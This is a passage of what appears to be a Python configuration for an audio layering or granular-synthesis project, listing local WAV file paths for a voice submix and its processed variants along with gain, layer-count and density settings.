'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0109.918146.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0111.309875.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0112.532708.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0112.840958.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0113.097063.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0113.380021.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0114.889125.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0115.264229.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0116.665312.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0117.347854.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0118.110542.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0118.407208.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0119.416146.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0119.690250.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0121.171458.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0122.670729.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0123.323708.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0125.482500.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0128.683458.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0130.395417.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0131.310937.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0131.969125.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0137.182896.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0139.295896.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/trk024-2-voice-1-submix_0139.411812.wav',
],
},
# trk024 main / raw
'proc': {
'gain_max': -12,
'gain_min': -33,
'numlayer': 6,
'density': 0.3,
'files': [
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-050.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-026.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-030.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-015.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-049.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-049.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-048.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-032.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-015.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-000.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-036.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-053.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-051.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-058.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-031.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-019.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-002.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-068.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-070.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-012.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-058.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-014.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-061.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-008.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-010.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-041.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-009.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-048.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-004.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-032.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-005.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-007.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-040.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-019.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-039.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-034.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-072.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-010.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-066.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-059.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-039.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-008.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-003.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-027.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-021.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-056.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-072.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-013.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-061.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-045.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-029.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-067.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-042.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-016.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-035.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-039.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-055.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-074.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-046.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-029.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-056.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-046.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-037.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-028.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-018.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-003.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-067.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-042.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-053.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-001.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-040.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-006.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-069.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-036.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-008.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-052.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-004.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-038.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-071.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-075.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-070.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-040.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-024.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-052.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-033.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-047.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-066.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-023.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-062.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-055.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-043.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-053.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-022.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-007.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-070.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-057.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-076.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-059.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-064.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-013.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-001.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-066.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-007.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-010.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-045.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-035.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-000.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-048.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-064.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-024.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-065.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-006.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-065.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-005.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-076.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-038.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-044.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-059.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-009.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-011.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-073.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-023.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-036.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-054.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-025.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-073.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-037.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-011.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-043.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-063.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-025.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-052.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-034.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-062.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-051.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-016.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-000.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-004.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-062.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-022.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-037.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-072.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-014.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-050.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-009.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-033.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-012.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-060.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-068.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-054.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-034.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-057.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-025.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-041.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-063.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-021.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-041.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-017.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-020.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-013.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-068.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-020.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-069.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-011.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-006.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-051.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-012.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-065.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-046.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-031.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-031.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-020.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-021.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-015.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-047.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-017.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-058.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-032.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-002.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-075.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-035.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-029.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-043.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-005.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-019.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-044.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-060.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-047.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-018.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-061.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-022.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-001.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-054.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-071.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-027.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-038.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-060.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-018.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-028.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-033.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-017.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-056.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-002.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-044.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-014.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-028.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-064.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-073.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-027.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-063.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-050.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-067.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-071.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-057.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-030.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-075.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-055.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-026.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-024.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-030.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-074.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-026.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-023.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-042.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-016.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-045.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-069.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/fxgo-049.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/pulsar_synth-074.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk024-2-voice-1-submix/proc/swarmy_graincloud-003.wav',
